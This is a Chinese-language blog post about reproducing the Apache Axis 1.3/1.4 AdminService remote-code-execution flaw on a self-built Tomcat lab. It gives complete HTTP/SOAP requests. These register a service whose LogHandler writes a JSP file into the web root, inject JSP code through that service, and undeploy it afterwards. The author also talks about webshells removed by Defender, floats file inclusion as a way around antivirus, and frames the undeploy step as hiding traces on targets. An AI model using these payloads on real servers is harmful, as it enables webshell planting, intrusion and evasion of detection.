介绍

烦死了,同样的版本,在公司折腾一整天未折腾出来。在自己电脑上也安装了同样的版本也没折腾出来。回到家,先这样再这样最后再这样就成功了,烦死了。

环境信息:

  • 物理机-1(本机):192.168.1.7

  • 物理机-2(端口转发):192.168.1.100

  • 服务器-3(虚拟机):192.168.10.14

  • 服务器-4(虚拟机):192.168.10.10

这里服务器-3是安装在**物理机-2**上面的一台虚拟机,因**为物理机-1**无法直接访问到**服务器-3**网段,所以在**物理机-2**上面的虚拟机配置上面做了端口转发,访问**物理机-2**相关端口等于访问**服务器-3**或者**服务器-4**相关端口。

上面环境信息就当是多余的话,略过就行,反正网络安全,能通就行。

复现步骤

安装Tomcat

直接下载安装就是,公司电脑上下载的是Tomcat 6.0未成功,家里自己电脑上安装的是Tomcat 7.x成功了。

安装Axis

我下载了两个版本:Axis1.3和Axis1.4。因为网上很多文章都是说Axis1.4 RCE漏洞,没提到Axis1.3,然而我就是想弄Axis1.3,所以我就下载了两个版本,并且测试过程中,两个版本都成功了。

运行环境

将两个环境都部署完毕后,直接开始测试。

192.168.1.100:8090/axis13表示Axis1.3

192.168.1.100:8090/axis14表示Axis1.4

参考网上其他大佬的文章,直接上测试包,但是这里我环境搭好后直接上测试包的时候提示未开启AdminSercie的远程访问,参考过程中,其他文章说的是修改**deploy.wsdd**的**enableRemoteAdmin**配置为**True**,但其实不是**deploy.wsdd**,而是**server-config.wsdd**,但是这个文件,默认情况下是没有的,可以在本地浏览器中访问一条注册服务的请求,系统就会默认创建出该文件,然后打开该文件将**enableRemoteAdmin**改为**True**即可。

本地访问使用get请求注册一个服务:

http://127.0.0.1:8090/axis14/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomBBB%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2Fwebapps%2FROOT%2Fshell.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment

本地访问上述后会在指定版本的WEB-INF下创建server-config.wsdd文件。

打开文件,修改为允许远程访问。

修改后就能远程本地调用了。

复现过程

首先按照其他大佬的步骤,注册一个服务,并且设定该服务在我当前的网站目录生成一个shell.jsp文件,自行根据情况修改,网上其他文章中的默认值是"../webapps/ROOT/shell.jsp",在网站默认目录生成一个shell.jsp文件:

更正一下,使用"../webapps/asix13/shell.jsp"以及"../webapps/ROOT/shell.jsp"方式生成jsp文件失败,很奇怪。但是使用"../shell.jsp"能够成功,未理解。

不奇怪了,本地环境下路径都能配置错,服了自己了。但是突然理解为什么在目标上面不成功了,可能就是路径的问题!若知道绝对路径的情况下,可以使用绝对路径。

POST /axis13/services/AdminService HTTP/1.1
Host: 192.168.1.100:8090
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 1048

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <ns1:deployment
  xmlns="http://xml.apache.org/axis/wsdd/"
  xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
  xmlns:ns1="http://xml.apache.org/axis/wsdd/">
  <ns1:service name="RandomService" provider="java:RPC">
    <requestFlow>
      <handler type="RandomLog"/>
    </requestFlow>
    <ns1:parameter name="className" value="java.util.Random"/>
    <ns1:parameter name="allowedMethods" value="*"/>
  </ns1:service>
  <handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >  
    <parameter name="LogHandler.fileName" value="../Tomcat7/webapps/asix13/shell.jsp" />   
    <parameter name="LogHandler.writeToConsole" value="false" /> 
  </handler>
</ns1:deployment>
  </soapenv:Body>
</soapenv:Envelope>

这里注册的是名为**RandomService**的一个服务,注册成功后服务器返回:

且浏览器中访问Axis1.3的路径,会显示出刚才注册的服务信息:

调用上述创建的服务:

POST /axis13/services/RandomService HTTP/1.1
Host: 192.168.1.100:8090
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 571

<?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <api:in0><![CDATA[
<% out.println("hello") %>
]]>
            </api:in0>
        </api:main>
  </soapenv:Body>
</soapenv:Envelope>

插播广告:

演示上述"../webapps/ROOT/shell.jsp"方式不成功样图(就是路径不对导致的失败):

演示上述"../shell.jsp"方式成功样图

路径填写正确的话,就能正常通过web访问到了,但是由于是日志形式写入的jsp文件,所以访问时候会存在问题。目前很影响我使用:

网上有三种办法,但是能成功的大概只有两种,这是第一种,后面再试试第二种。

存在问题

在我刚才测试的这段时间,文件是正常的写入进去了,但是在写入马儿的时候发现文件正常上到服务器之后,用浏览器一访问,服务器上面的马儿立马就会不见了,猜测可能是tomcat自身的安全机制或者其他不清楚的原因导致了马尔被删除。

刚写完上面这段话就立马破案了,想起来服务器的Definder没有关,立马看了一眼记录,都是发现威胁然后帮我删掉的消息。。。。

新思路,如果直接上常见的马儿要杀的话,可以考虑试试文件包含,有成功案例,但是找不到文件包含成功的那个脚本了,后面找到了再贴上(如果想起来的话)。

擦屁股

注册了服务用完后记得卸载掉,如果被发现了影响不好。修改 service name="randomAAA" 处的服务名称提交请求即可删除注册了的服务。

POST /axis13/services/AdminService HTTP/1.1
Host: 192.168.1.100:8090
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 456

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
<undeployment xmlns="http://xml.apache.org/axis/wsdd/">
 <service name="randomAAA"/>
</undeployment>
  </soapenv:Body>
</soapenv:Envelope>

最后的结果就是Axis1.3和Axis1.4都能成功。

结尾

今天游戏都还没打,就这样了,先打一把游戏准备睡觉,明天去公司了继续折腾,希望明天成功!

参考链接: https://paper.seebug.org/1489/